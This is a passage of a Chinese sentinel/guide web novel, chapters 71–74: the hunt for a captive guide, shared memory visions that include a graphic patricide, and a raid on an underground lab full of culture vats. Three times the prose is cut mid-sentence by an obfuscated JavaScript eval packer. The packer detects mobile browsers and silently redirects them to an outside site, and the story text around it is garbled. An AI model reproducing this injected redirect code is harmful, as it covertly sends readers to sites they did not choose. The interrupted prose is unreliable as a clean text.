布雷塔妮是第二个闯入少将封锁区的人,鉴于刚才哨兵总负责人已经进去,守卫的士兵摸不准情况,只能放行。 年轻的向导总负责人在昨晚的任务中受了伤,她的左腿骨裂了,是撑着拐杖一路进来的,拉开门的时候差点和杵在那里的曼琳撞了个满怀。两人一个踉跄差点互相带倒对方,到底是哨兵的核心力量够稳,曼琳立即后退半步稳住了身子,一把扶住了眼看就要跌倒的向导,避免了她二次受伤。 看清对方之后,她们在沉默的惊诧里彼此交换了一个:“你怎么也在这儿?”的眼神。 “有事吗?”莱安的声音从不远处传来,这并不意外,可是布雷塔妮抬眼一扫,却看见韩奕也正站在莱安身旁,浓郁的雪松味信息素扑面而来,仍旧带有爆发时的烈度与压迫感,激得向导浑身一颤。 形势瞬间变得有些复杂。 “……”布雷塔妮神色一变,开始码不准自己是否应该在此时汇报,她选择了一种十分迂回的方式:“报告长官……您从今天早上开始就切断了整个军港的全频段通讯。” “哦,我忘了。”莱安有些疲倦地扶着额,随即便下令恢复。 果然,在信号恢复后,莱安身上的通讯器发出了一丝微弱的蓝光,这不是军部或公会内部使用的频段,也不是通用的通讯器。眼前的情况已再清楚不过,不过莱安却未做掩饰,将收到的信息当着韩奕的面打开。 积压的信息有两条,第一条来自凌晨五点。 来电显示:「尾鸦」 通知「天鹰」:「银雀」已前往核心执行任务,请注意查收坐标。 而第二条则是早上七点。 来电显示:「蓝鸢」 通知「天鹰」:已获取指定频段信号,正在追踪中,请注意查收坐标。 昨夜的事发生得很突然,在莱安发现常规军并未真正入侵德斯菲尔军港时,他立即意识到这是韩奕设下的局,于是即刻切断了军港内的所有通讯频段,直到将艾维抓捕控制后,也只是恢复了常规频段与内网连线。 「银雀」是整个任务计划中最核心的部分,级别一直是S+,布雷塔妮在维塞克驻守了好几个月都没有收到对应的信号波段,直到昨晚凌晨泽卡陷落后,负责信息搜索的「雷暴」空军特战队才从前线搜寻到了目标信号。 这样要紧的讯息,「天鹰」竟然长达七八个小时没有回复,布雷塔妮陷入了一阵惶恐。 “……”莱安揉了揉眉心,自己的哨兵出了问题,还要应付韩奕,他完全没有来得及顾及到这边:“别紧张,我知道了。” 随后,当着布雷塔妮的面,他将信息递到了韩奕面前:“给,你让我定位的顾小绒的位置。” 曼琳眼角一跳,这才过了几分钟,双方就从刚刚开门时的剑拔弩张快进到了战略互信,而看到莱安和韩奕战略互信,简直和大白天见了鬼差不多。 布雷塔妮的神色同曼琳如出一辙,浅蓝的眼瞳睁得溜圆,瞠目结舌地看着莱安将保密级别最高的信息交给了原本的政敌,完事后那人还偏过头来,神态自若地问道:“坐标检索到了吗?” “呃……”布雷塔妮从巨大的震惊中回过神来:“检索到信息的是空军的‘雷暴’特战队,目前正由空军的伊万少校率队,于泽卡东南处检索到信号,信号源目前正在移动中,且并不稳定,所以目前只能检索到一个大致的区域。” 韩奕随即拨通了维多利亚的通讯器,只过了两秒对方就接了起来,毕竟伊万少校隶属于空军,通知维多利亚是最直接的方式。 “……继续跟进,保证隐蔽性。”在得到对方肯定的答复后,韩奕命令道。 布雷塔妮艰难地吞咽了一口唾沫,还好她一开始就没有想过绕过维多利亚,而是选择与她合作,维多利亚也许自始至终都以为这项任务是韩奕指派的…… 至于自己后期从韩奕阵营丝滑无痕地过渡到莱安阵营这事,那也只有等以后再说了。布雷塔妮惴惴不安地观察着韩奕的神色,毕竟她刚刚进门就感觉到了少将极低的气压,不过还好少将此时的注意力并不在她这边,那双狭长冷冽的黑色眼眸,正专注地凝视着空军实时传送过来的讯息。 在花了一段时间理解眼前的局势后,曼琳也终于做出决定,完成了刚才被打断的汇报:“报告两位长官,周烨醒来后,也给了一个坐标位置。” 顾小绒睁开了眼,感觉自己正躺在一片无垠的纯白里。 眼前是一望无际的星空与冰川,在浩瀚的夜幕下,冰绿色的极光如同丝带一般布满了天际,明灭着散发出璀璨的光华。她怀中的某处地方升起一丝滚烫,那是她一直暗中藏起的周烨留下的标记,在上一次周烨强行闯入空间时,他就在她所处的精神空间中留下了这个标记,只是直到此时那里才灼烧起来,她也终于感知到了周烨的一丝微渺气息。 借着这一丝好不容易重燃的星火,顾小绒将自己的精神力能量灌注其中,希望对方可以感知到自己存在的位置。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055910|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是自己……怎么回到了塞莱斯蒂军港?顾小绒有些茫然地思索了一会儿,一只骨节分明的手便朝着她伸来。 “能坐起来吗?”晏泽关切地望着她,深蓝的眼眸倒映着身侧亮丽的光芒。 “嗯。”顾小绒装作无事发生的样子支撑起身子,晏泽的手揽住她的背部,将她从雪地里带起。她才刚一起来就被猝不及防地搂入了他的怀抱,晏泽的体温不甚温暖,而雪地比起真正的塞莱斯蒂也并不冰冷,于是她大概明白了什么。 “我不该离开你的。”晏泽没有放手,就这样又静静抱了她很久。 “那个……晏泽……”等到对方终于松开了手,顾小绒才问道:“我们这是在哪呢?怎么不是在城堡里?” 看她似乎对那里还有所留恋,晏泽的眼角垂下了一个柔软的弧度:“我的精神图景已经坍塌了。” “所以?”顾小绒看了看四周,这里也并不是她的精神图景,不过随后她便做出了猜想:“你是不是……已经到了衰变的尾期?通道开始重构了么?” 对方专注地望着她,眉梢眼角全是无法掩盖的欣赏:“对,通道正在重构,我们现在处在一个暂时的交界空间,再之后的一切都将由你决定。” “……”顾小绒有些纳罕地环视着四周,小声呢喃道:“可是,这里也不是我的精神图景啊……”她抬起头望着对方:“接下来会发生什么,你知道吗?” 上将低头望着眼前的女孩,在他的视角里,顾小绒抬起脸的模样看上去乖巧温柔,她白皙的皮肤柔软透明,那双湛蓝的眼不再紧闭,而是流淌着生动的光泽,他终于又看见了她的眼睛。 “不太确定。”他温柔地回应着她,拉过她的手:“我们要做的事,还从来没有人做过,你要陪我一起试试吗?” “……好。”顾小绒轻轻答道。 二人行走在雪丘的脊背上,变换的极光在那里投射出灿烂的光影,孔雀绿与宝石蓝交相辉映,夜空如同一池平静幽蓝的深水,被光映照得清澈明亮。 身上的坐标在持续发着烫,顾小绒的心也感到一阵沉重,她终于还是问道:“晏泽……你选择我,不担心我会出卖你吗?” 鞋子踏在厚重的积雪上,发出窸窣的声音,回应给她的是一个淡然的笑意,极光勾勒着晏泽的侧颜,他淡色的唇像是涟漪般缓缓化开。 “因为你一定会认真面对我提出的问题。”那双深蓝的眼被镀上晶莹的光,无论何种时候,晏泽的眼神都仿佛游刃有余:“所以我决定赌一把,毕竟这一整场实验与布局都是一场豪赌,不是么?” 晏泽的嘴角扬起一丝笑意,他甚少这样纯粹而坚韧地注视着前方,这让她不自觉想起了那个不应该想起的人。 “……”再一次被看出心事的向导女孩陷入了沉默。 空间发出几声遥远的回响,仿佛某种陌生的概念真的在坍塌与重塑,顾小绒被这阵声响吸引了注意力,以至于直到身旁的晏泽停下步伐,她才收回了目光。 远方空白的雪地里,两个熟悉的身影撞入视线。哨兵穿着一身黑色的军服,正缓步跟在雀跃的向导女孩身后,他们的身影在顾小绒注视到的那一瞬间化作飘飞而去的流萤。 他修长的脖子上还戴着那条她织的围巾,她看得真切。 原来如此……顾小绒轻声叹了一口气,在这个新与旧的通道交汇的时空里,她看见了自己内心深处最刻骨的记忆,也许这也是她做为向导、或者说做为人的生命终末的走马灯。 在那片极光下,她曾同他一起度过了他29岁的生日。她一定是太想念他,才会在此时重新回到那时的场景,回到他的身边。 夜幕如同玻璃碎片一般,一片片分化开来,在那些交叠闪烁的弧光里,韩奕的身影填满了她的每一寸回忆。落在她眼前的一幕幕,是他所有的沉默、隐忍、伤痛与欢欣,是那只修长分明的手,那双冷静坚硬、又温柔如水的黑色眼睛。 在她的思念与渴盼里,他占满了她每一寸身心的边角与裂隙,他们在温热的记忆里被一遍遍反复打磨,如同曾经最爱时那样两相交织、合二为一。 晏泽静静地注视着这一切,直到这场盛大的思念如同烟花一般从夜幕中凋零,变作碎裂的光点散落在他们身边。 “这样的场景,你是不是已经经历了好多遍?”顾小绒抬起头,望向对方的眼睛。 72. 第七十二章 “嗯。”晏泽没有否认,极光从深黑的夜幕中消逝,眼前的景色变得寂静而暗淡:“艾丽西娅和温莉走过我的通道时,我也看见了她们的记忆。” 眼前无垠的冰川逐渐隐匿在穹隆中,最终归于虚无,黑暗重新缩小了范围,此刻呈现在他们眼前的,是一条狭窄幽深的甬道。 “你给艾丽西娅许诺了什么?是让她重新见到伊莱吗?”顾小绒平静地注视着眼前场景的变化,一边走着一边问道。 这个问题让晏泽沉默了半晌:“我告诉过她,她的哨兵已经去世了……不过她仍旧说想要试试。” “哪怕就像刚才那样,只是看见他的幻影?”顾小绒的下唇微微一颤,时至今日,她对艾丽西娅早已感同身受。 “也许吧,哪怕只是幻影。”晏泽目光沉沉。 幽暗没有持续太久,眼前便出现了一丝冷冽的白光,脚下的触感从虚空逐渐变为真实,金属地板在冷光的映照下反射成冰蓝的颜色,这里弥漫着冷寂的消毒水味,与世隔绝、纤尘不染。 顾小绒的目光朝前落去,在这个全封闭的房间里,一个女孩正躺在病床上,她的头发已经被全部剃掉,带着一顶毛绒帽子,女孩的面容苍白瘦削,毫无血色的脸颊使得她几乎要和白色的被单融为一体。 一个看上去约莫十五六岁的少年正趴在她的床边,也许是因为疲惫,他已经睡着了,只是手仍在被单下紧紧地握住女孩。也许是因为痛苦,晏殊即使是睡着,眉头也微微地蹙着,两个孩子就像是两只小兽一般依偎在一起。 顾小绒的心里泛起一丝细密的疼痛,重组中的通道使她与晏泽的记忆碎片毫无规律地出现,如同一个斑驳的万花筒幻境。 她用余光悄悄去看晏泽的神情,对方虽然看上去神情平静,但目光却仍旧避开了眼前出现的场景。这一幕画面持续得很久,也许因为虚幻中的时间流逝与现实不一样,顾小绒觉得自己仿佛是同样被困在了痛苦的泥沼中,被迫参与了这一整场晦涩的回忆。 兄妹俩虽然都是实验体,可因为实验的方向不同,更多时候他们是被隔离开来的,每周只有很短的时间才能重聚,还得是两人的数据与指标都稳定的情况下。 下一个记忆碎片突如其来地插入了进来,那是更年幼时候的晏泽与晏殊,他们所处的地方正是顾小绒再熟悉不过的城堡。在那里,孤零零的兄妹二人相依为命,明明年纪也不算大的晏泽已早早成熟,学会照顾妹妹的饮食起居、给她读童话书、梳头发、以及编造父亲是英雄这样的谎言 …… 她开始理解为什么晏泽的精神图景是在这个地方,也许这个他与妹妹一起长大的城堡,是他的生命中唯一短暂的温暖。 她的视角再次朝着之后的时空跳跃,这一次她再次回到了冰冷的实验室内,眼前血腥的场景几乎令人心碎。在晏殊的“逸散”逐渐达到极值时,她的身体机能也在同时快速地衰竭,同顾小绒一样,她的心脏几乎是无法逆转地陷入了死亡。为了保下这数年来第一颗达到极值的大脑,他们将晏殊的头切割了下来,放进了培养皿里。 画面到这里开始了急剧的闪烁,整个世界也仿佛陷入了坍塌,几乎窒息般的心痛从内往外刺破了顾小绒的每一寸身体,在这一刻她与晏泽的感知几乎重叠到了一起,分不了彼此。 满目的猩红与暗淡里,纤瘦高挑的少年对着自己的父亲举起了匕首,身为A级哨兵的父亲不可置信地看着自己的儿子,眼底的震怒转化为哀痛与绝望。 年少的晏泽双目冰冷,仿佛一片干涸死去的海洋,他的唇线缓慢地开合,对应着父亲泛出血红的眼,可她听不清他在说什么。 能看得出来,晏景行正在竭尽全力地从绝对的精神压制中挣脱,可此时的晏泽已经在药剂不断的浸染与折磨下,蜕变成了非自然状态的S级向导。 精神力如同黑色的潮水一般蔓延而来,将自己的父亲扼制在下、牢牢控制,极致的力量对比让最终的结局毫无悬念,晏泽的刀尖一点一点地深入到晏景行的胸膛,他将速度与角度把持得精准冷酷,让晏景行在不得挣脱的恐惧里眼睁睁看着自己被开膛破肚…… 身为外科医生,晏泽精确地控制着每一刀的幅度,最终让自己的父亲在惨绝人寰的痛苦里挣扎着断气,他将这个过程延长到整整2个小时,曾经不可一世的南方军首领,就以这样凄惨的方式落下了帷幕。 场景再次跳转,是已经成年的晏泽停留在培养皿前,他穿着医用的白大褂,金丝眼镜也同他的面容一样隐匿在暗淡的光影中。培养皿里,晏殊的大脑后颅被整个切开,裸露出脑干与青色的血管,那里被无数管道细密地连接。她看见晏泽摘下了自己的眼镜别在胸前的口袋里,随后缓缓抚摸上了培养皿透明的玻璃壁,那里并非一片冰冷,而是带着近乎于人的体温。 晏殊的大脑仍旧活着,而已经成为“通道”的晏泽将她安置在了自己的精神图景中,可即使如此,他也无法打开那扇阻隔在他们彼此之间的“门”。晏殊做为第一位成功挺过“逸散”的“核心”,她的数值最初也不甚稳定,为保万无一失,晏泽选择让她进入休眠状态,等到实验稳定成熟后再将她唤醒。 再之后的一切 ……就是顾小绒所知晓的了。 而现在,她几乎是要被迫相信,原来晏泽所做的一切,真的与南方军和这场战争的终局毫无关联,他所做的抵抗无非是为了给黑暗向导实验的成功争取时间和空间,艾丽西娅与温莉是他为晏殊的苏醒所做的铺垫,而晏殊在战场上的活动,甚至也只是他为她安排的康复训练,毕竟她已沉睡得太久太久,她的大脑需要重启运作才能从逐渐僵死的状态中恢复过来,即使只是激活一部分本能的反应…… 怀中握着的标记几乎在此时燃烧到了极限,顾小绒能感应到遥远的另一端强大的精神力回应,跳动的韵律如同鼓点一般砸落,她紧绷的嘴角不自觉地颤动了一下。 头顶上方传来一声浅笑,她身子一滞,仰头望去,却见晏泽的眼像是盈满水的湖面,上面倒映着一整片璀璨的星空。 顾小绒望着那双深蓝的眼,就在刚才,她似乎又要被吸入情绪的漩涡、从而被他控制。晏泽的每一重身份与面具都在此刻铺陈了开来,他究竟是一个怎样的人,他想要得到的又是什么?是拿下这场战争的胜利,还是在这场危险的实验中探寻到结局?是向命运发出抵抗与呐喊的抗争者,还是仅仅只是想要与妹妹重聚的哥哥? 他温柔而隐忍,疯狂而克制,是奉出血肉的受害者,也是执刀的刽子手。无数的切片如同棱镜一般反射出他的倒影,她不得不承认,直到此时她也看不清他真实的模样,分辨不出他重重伪装之下的真实目的。 可晏泽只是用平静的眼神望着她,在经历了刚才那般惨不忍闻的回忆后,他仍旧没有分毫的情绪波动,眼神仍旧那样温柔。见她的神情犹疑不定,晏泽抬起手来指了指自己的脑袋。 “别忘了,我们的精神力还绑定在一起。”他语调平静,似乎并没有被她突如其来的困惑与防备激怒:“不过你也不用太过担心,在通道重构完毕后,你将拥有这里一切的处置权,包括对我。” 顾小绒抓住了这句话的重点,如果她预测正确,通道重构的时刻,将是她唯一可能与眼前的S级向导博弈的机会。她无论如何都不能让自身失控,也不能让晏泽成为无法想象的毁灭性存在。当然,这一切也只是建立在理论上。此时的她已无可退却,只能继续往前,迎向那个冥冥中既已注定的结局,如果命运真的存在。 傍晚时分的阿维隆军部食堂,因突如其来大量涌入的士兵而变得格外拥挤,早在下午三点的时候这里就扎起了临时营地,更多的战备储粮与肉类也从仓库中解冻出来。即使如此,到了六点的时候,这里还是迎来了史无前例的用餐高峰。 沈骁和重泽一共打上了六分饭,分开装好准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055911|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备一会儿带去医院给伤员,随后他们在桌子的一角坐了下来,以极快的速度开始进餐。 不大的桌子被哨兵们高大的身影占得有些拥挤,他们需要尽快把饭吃完,以便把位置让出来给后面还在排队的士兵们。鉴于沈骁已不再是向导总负责人,所以并不清楚高层此时的调度,只是根据从军多年的经验感知到今晚也许有大动作。 名叫佐伊的年轻女哨兵也在其列,她中午时分跟随少将回到阿维隆基地,下午睡了个饱,直到刚才饿醒了才翻身起来吃饭。原本没有受过重的伤,加上年轻体健,几碗热气腾腾的饭下肚就几乎满血复活,直到吃了七八分饱,她才注意到眼前坐着的一位向导大叔。 最开始她有些惊讶他的年纪,不过很快便联想到公会取消了召回退伍士兵的年纪限制,大叔虽然已到中年,但轮廓仍旧硬朗。此时他身姿挺直,正一丝不苟地用着餐,身旁还放着一份打包好的餐食,想来应该是给自己的哨兵带的。 一阵熟悉的茉莉花香从远处萦绕而来,佐伊立即从眼前鱼龙混杂的信息素和向导素中识别出了这个味道,她转过身,嘴里还鼓鼓地咀嚼着牛柳:“嗯?师姐?” “嗯。”曼琳已贴近她的身后,拍了拍她的肩以示回应:“楚飞呢?看见他在哪儿没?” “诶,没有注意。”佐伊四下环视了一圈,将牛柳吞咽了下去。 “他还在睡。”一道沉厚的声音从她们面前响起,二人抬起头,只见对面上了年纪的向导已经用完了餐,将碗筷整齐地收放在餐盘里。 “前……前辈!”曼琳身子一紧,顿时站得笔直,周成山在佐伊和一众年轻哨兵们惊讶的目光中指了指打包好的那一份饭:“我正准备带回去给他。” “哦,是……是这样的,请您替我转告他,一会儿7:30点的时候来一下少将的办公室,地址已经给他发过去了。”曼琳恭恭敬敬地答道,心里想着怪不得她怎么发信息对方都不回,随后又轻轻摩挲了一下佐伊的肩:“你吃好了也赶紧休息一下。” 年轻哨兵对上了师姐那双明亮的绿色眼眸,几乎是条件反射地感知到了任务的召唤,她点了点头,随即用更快的速度低下头扒饭。 时间到了晚上7点,暮色一闪而逝,深黑的夜幕随即笼罩了天与海的边际。整个军港灯火辉煌,少将所处的临时办公室终于空了下来,纷沓的脚步声与喧嚣的身影渐渐消失在走廊的拐角。 科林推门而入时,只见长官正一手抵在桌子上,艰难地支撑着额头,他脸色发青、眉头紧锁,鸦黑的睫羽轻颤着往下垂落。 为保证隐蔽性,科林没有穿上惹眼的白大褂,他此行是给长官拿药剂的。韩奕没有抬头,只是机械地撤下了按压在太阳穴上的手,挽起左臂的衣袖,各类交叠的伤痕从他的手臂一路蜿蜒向上,与血肉和筋脉融合到一处。 科林知道以韩奕如今的身份,拿到紧急战争法案的批准条例并不难,可是眼见此景,他还是没有去拿准备好的针剂:“长官,强化剂是A类禁药,对哨兵的损害远超常人,您的余生可能都无法摆脱药剂的副作用,您真的确定要注射吗?” “嗯。”韩奕淡淡应了一声。科林跟随他多年,执行任务向来干净利落,这是他第一次以医生而不是以下属的身份开口劝阻。 “我认为您现在需要的是睡眠。”韩奕已经接近40个小时没有休息了,这是十分恐怖的数字,而他竟然还要注射药剂、在如此短的时间内高强度进入第二个任务。站在医生的角度,科林觉得韩奕此时的行为几乎是在自杀,即使知道自己最终无法违背韩奕的意志,他也仍旧没有放弃。 “科林。”那双深黑的眼终于抬了起来,沉沉地望向他,黑曜石早已被磨去了坚硬的棱角,只剩一片暗哑与荒芜:“今天晚上的行动关乎这场战争最终的结局,我必须去。” “注射。”锋利的唇线微微开合,轻却不容反驳地命令道。 73. 第七十三章 “希里斯阁下,注射室在这边,请随我来。”冰冷的女声从一位科研员的口中吐出,她带着一副金丝眼镜,在森冷的金属通道里反射着银光。 希里斯没有答话,只是顿住了脚步,跟随在他身后的哨兵们也停了下来。在眼前这个紧要而特殊的时刻,“黑暗向导”暂时无法现身,因此跟随在他身后只有最初级的狂化哨兵。希里斯扫了一眼科研员所指的方向,那是通向地下室的阶梯,谁会把注射室修到那种地方,白狼的嘴角扬起一丝冷冷的笑意。 “……阁下?”见对方站定不动,女声的语调明显地犹疑了起来,她是普通人,感觉不到此时几乎是暴起的鸦片味信息素,周遭的狂化哨兵却已有了反应,四周立即响起了轻微的枪械声与围拢的脚步声。 搏杀开始于电光火石之间,希里斯的头微微一侧,避过了一发从后突袭而来的子弹,枪林弹雨随即笼罩而来,如同蛛网一般将他细密地交织其中。白狼伸手拎过一个狂化哨兵,将他的颅骨连同头盔一起摁碎在墙上,沾满血与脑浆的手朝着领口一提,便将那个狂化哨兵的身体举了起来,子弹霎时扫射其上,迸溅出泼洒的血幕。 若是放在平时,这些破铜烂铁连希里斯的一根发丝都碰不到,只是此时殷红的血再次浸透了他的腹部,枪伤崩裂了开来,沿着战甲的材质怒放。此时若是再强行发力,几乎一定会失血感染而死,希里斯合上眼,将一截匕首从眼前尸-体的后腰拔出。 一阵巨大的爆破声骤然响起,走廊天崩地裂地震动着,电磁炮剧烈的光线将视线灼烧,风带着火一般滚烫的温度呼啸而来,密集的枪林弹雨朝着来不及撤离的狂化哨兵扫去,现场顿时血肉横飞。 “这什么情况?”隔着密闭的面罩呼吸系统,曼琳闷声问道。 “看上去希里斯和晏泽反目了。”楚飞简洁地概括了一下刚才看到的场景,在他们突入进来的一阵扫射中,那十多个狂化哨兵几乎全部中弹,而希里斯的身影则快速消失在了角落。 “追吗?”楚飞抬起眼问,他们与韩奕兵分两路,曼琳掌握着这一支分路的最高指挥权。 “……”曼琳略微沉默了片刻,视线朝着身后扫去,落到了沈骁与重泽身上:“你们的体力还能跟得上吗?” “没问题。”他们倒是答得整齐,这就准备前去追捕。 “唉。”楚飞一手搭在重泽的肩上,前辈已经30多了,算不得年轻,又在这样短的时间内高强度出了两次任务,希里斯是S级哨兵,他的担心不无道理。 “外围还有三队哨兵向导,我让他们也去接应。”曼琳冷着声音命令道:“你还有更重要的事需要执行,楚飞。”腕间器械传来一阵响声,连带着护目镜上也出现了信息,曼琳点开信息详情:“老师他们已经突进到地下室了,我们要快些跟上。” “是……”楚飞眼神一松,答道。 这一路上曼琳的不安都在不断放大,她知道队友的感知与她是一样的。 南方的秘密实验基地位于南境广漠的戈壁深处,防御系统将此处的热量、能量与信号全部隔绝,所以空军追踪到后半程后也失去了信号,如果没有周烨提供的确切坐标,他们就是再过十年也无法找到这里。为应对敌军如此重要的实验基地,他们几乎是调用了前线待命的所有精锐。 按照以往的经验,这里的防护等级应该高于之前攻下的所有城池与军事基地,甚至所有人在出发之前都自愿签署了遗书、交代了后事。可此时此刻,从他们突入进来开始,除了希里斯与晏泽的狂化哨兵戏剧性对战的一幕之外,他们似乎并没有再遭遇别的什么状况,连防御的哨兵也都只是装配着初级的机械精神反击装置。 “黑暗向导”不知所踪,战略备战时构想的“三位黑暗向导同时到场”的极端情况也并没有出现。 只是越是平静,越是让人心里发毛,曼琳的心中涌现出一阵难以言明的焦躁,她的直觉提醒着她,在这座密闭堡垒的地底,有什么更危险、更宏大的事正在悄无声息地发生。 也正是因为如此,周成山才开口建议曼琳,不要在没有把握的情况下过快行进,更何况他们还分出了一部分人手去追捕希里斯,晚几分钟汇合总好过全军覆没。 曼琳果断接受了前辈的提议。 楚飞的耳廓微微一动,他总是不自觉将身后的人当做周烨,除了容貌以外,周成山的向导素是香槟味,同周烨的红酒味十分相似。他在刚才担心重泽的时候,完全忘记了自己的向导年纪更大,并且同样在短时间内高强度地出了两次任务。因为精神力还连接在一起,周成山感应般地拍了拍年轻哨兵的后背,示意他无需顾虑自己,继续前进。 楚飞能感觉到前辈的心跳一直维持在一个平和的水准,这甚至是大多数年轻A级向导都做不到的,更别提与他连接的那股强大充沛的精神力。 S级向导的存在,仿佛一轮没有缺口的、完美圆满的太阳。 在周成山的手轻轻拍在后背的时候,哨兵的心绪没来由地一定,他几乎提前锁定了这次行动的胜局。 在收到信息后的足足8分钟,曼琳一行才赶到指定的地下室。 驻守的几十个敌方哨兵已全被消灭,尸-体整齐地码放在一侧,曼琳偏头瞟了一眼,见上面几乎全是刀伤,切口与深度触目惊心,下手十分狠辣,看上去大半都是老师的手笔。 不知从什么时候开始,少将向来稳定的作战风格产生了剧烈的变化,在之前接近十年的时间里,韩奕的刀法都沉稳冷静,而最近这几次却愈加凶悍狰狞、不留余地,仿佛野兽一般透出猩红原始的杀戮本能。 曼琳收回视线,缓慢而艰难地吞咽了一下。 活着的敌方哨兵也正在被艰难地控制并拖往一边,他们其中有的是已经完全失去意识的狂化哨兵,一旦体内药剂到了时限,便会被极端的五感失控吞没,其中有一位已经痉挛得很厉害,他几乎是感知不到疼痛似的狠命挣扎,被捆缚的四肢都已血肉模糊、骨断筋折。 现场暂时还没有医疗队伍,我方哨兵见此情形,也只能摸出自己携带的镇静剂与对抗剂注入狂化哨兵的体内,希望这些家伙能撑到被押送到军事法庭的时候,毕竟他们还需要留下活口,做为列举南方罪证的证据。 走进眼前敞开的金属机械大门,曼琳只觉浑身一冷,连呼吸都是一紧。 呈现在她眼前的,是一间巨大到无法形容的地底空间,层高近乎八米,面积几乎一眼望不到尽头,这群疯子几乎在地底挖出了一座城市,曼琳咬着牙,看了一眼此时的地底深度。在这片巨大的拱形地下堡垒里,密密麻麻的整齐排列着无数的培养皿,里面都是裸露沉睡的肢体,分不清是哨兵还是向导,数量目测有上千人。 这些玩意儿要是被同时启动苏醒,他们就是有十条命也跑不出去。 “我***”曼琳听见楚飞在她身后爆了句粗口,而诺兰刚刚收回了自己的精神力,求助般地望着一旁的周成山:“什么都探知不到,前辈……” “嗯。”周成山见此情景,也是眼角一跳,不过还是迅速镇静了下来。 与之前他们所经过的场景不同,这里的装潢并不是裸露的金属,而是被精心地修饰过,地板和墙体都是哑光的白色,仿佛他们正身处一个巨大的卵中。在穹顶上,还能看见色彩绚丽的壁画,浓墨重彩的颜色一路铺展,仿佛是在一页页地记述着什么。 整个穹顶的画作透露出一抹庄重的肃穆与圣洁,又与地面无数瘆人的躯体交织在一起,纯净的白将两种极端的气质糅合到一处,他们仿佛来到了世界的尽头,位于某种生与死的交界边缘。 “这是……宗教?”诺兰一路看着穹顶上的壁画,不可置信地瞪大了眼睛。 壁画的内容清晰分明:神将罪罚赐予人间,身为哨兵,就是在人间承受神罚的受难者,他们的五感天生异于常人,几乎无法自行控制,终其一生都将承受肉-体与精神的无尽的折磨。 为加重惩罚,使人意识到自己罪孽的深重,神剥夺了向导,让哨兵陷入惨绝人寰的地狱。他们互相搏杀、争抢向导,最终形成了金字塔一般牢不可破的阶层,顶层哨兵占据了所有的向导,任由底层哨兵在绝望和痛苦中走向毁灭。 尸-体被堆积成山、蔓延成血海,在悲泣与哭嚎中,干涸的眼泪已无法浸润倾颓的世界。被剥夺的底层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曼琳觉自己的背后起了一身冷汗。 “师姐,你们终于来了。”一道熟悉的声音从漫无边际的培养皿后传来,打破了眼前死一般的寂静,佐伊身量轻盈地从一个发着荧光的玻璃后跃下,疾步走到他们跟前。 “什么情况?少将在哪儿?”曼琳回过神来,上前一步紧紧抓住了佐伊。 “不知道啊。”年轻哨兵也懵懵地摇了摇头,不过也是,这一时半会儿谁搞得懂这里的情况,不过她随后回答了能够回答的问题:“少将在那边,和技术团队在一块,应该是还在往下探测。”她朝着一个方向指了指。 “嗯好。”曼琳拍了拍她的肩:“那你们……这是在干什么呢?”她看着我方哨兵与向导来来回回地穿梭在巨量的培养皿身后。 “哦,测量和保存这里的数据、以及铺上炸药,都是少将的命令,一旦他们醒来就直接摧毁这里。” “……”倒也确实只有这个办法,曼琳冲着她点点头,随后便起身去找韩奕。 即使是以较快的速度行进,走到这个巨大地下空间的尽头,还是花了接近十分钟。拱形顶部了无痕迹地收拢下来,与地面交接到一处,无论怎么看似乎都已经没有了别的空间。 韩奕正站在队伍的末尾,为了不给正在工作的技术队伍施加太大压力,少将把目光强行移到了别处。 “报告长官,2队执行完一阶段任务,到此报道。”曼琳郑重行礼走完流程,并且汇报了遇见希里斯并派出4对哨兵向导前去追捕的事。 韩奕目光沉寂,只微微点了一下头。 “那个……”曼琳扫了一眼韩奕身边站着的一位技术人员:“请简述下这里的情况?” “哦……是。”年轻的技术员原本是被留在外围管理器械的,被问得有些猝不及防:“这里目前探明的培养皿数量有1200个,躯体有1026个,包含哨兵、向导与克隆体,至于培养皿中的药剂和物质,暂时还在解析中,至于是否还有其余空间,也正在探寻。” “不能直接用激光炮往下轰吗?”这里的特殊材质使得向导的精神力被限制住,无法突破墙体往外探寻,楚飞忍无可忍,咬牙问道。 “这个地下空间的设计很特殊,材质也相当坚固,可以扛住极大当量的轰炸与爆破,电磁炮的当量是不够的。”技术员解释道:“即使要进行定点爆破,也要先进行测算,目前测算工作正在进行中……” 74. 第七十四章 强烈的光线疾驰而过,碎裂成千万片斑驳的残影,顾小绒不由微微眯起眼,直到强光的尽头,眼前的场景尽数消散,在空寂的黑暗里变作融化开来的雪沫。 那些细小的、倒映着记忆的残片在她的身畔缓缓分解、消失,最后变成一片片发着光的流萤,曾经由精神力构筑的上一任“通道”,已经燃尽了它最后的生命。 微光使得眼前的黑暗不再可怕,就在刚才的那一刻,顾小绒感觉到有一只温热宽大的手覆盖在自己的手掌上,真丝的触感让她抬起了头。 不知从何时起,晏泽身上的衣服变作了纯白,修长的白色罩袍将他高挑的身子包裹,烫金的领口一丝不苟地贴合住他的脖颈,此刻他正望着她,整个人都微微地发着光,那双深邃的蓝色眼睛像是终于擦去尘埃的宝石,变得剔透而明亮。 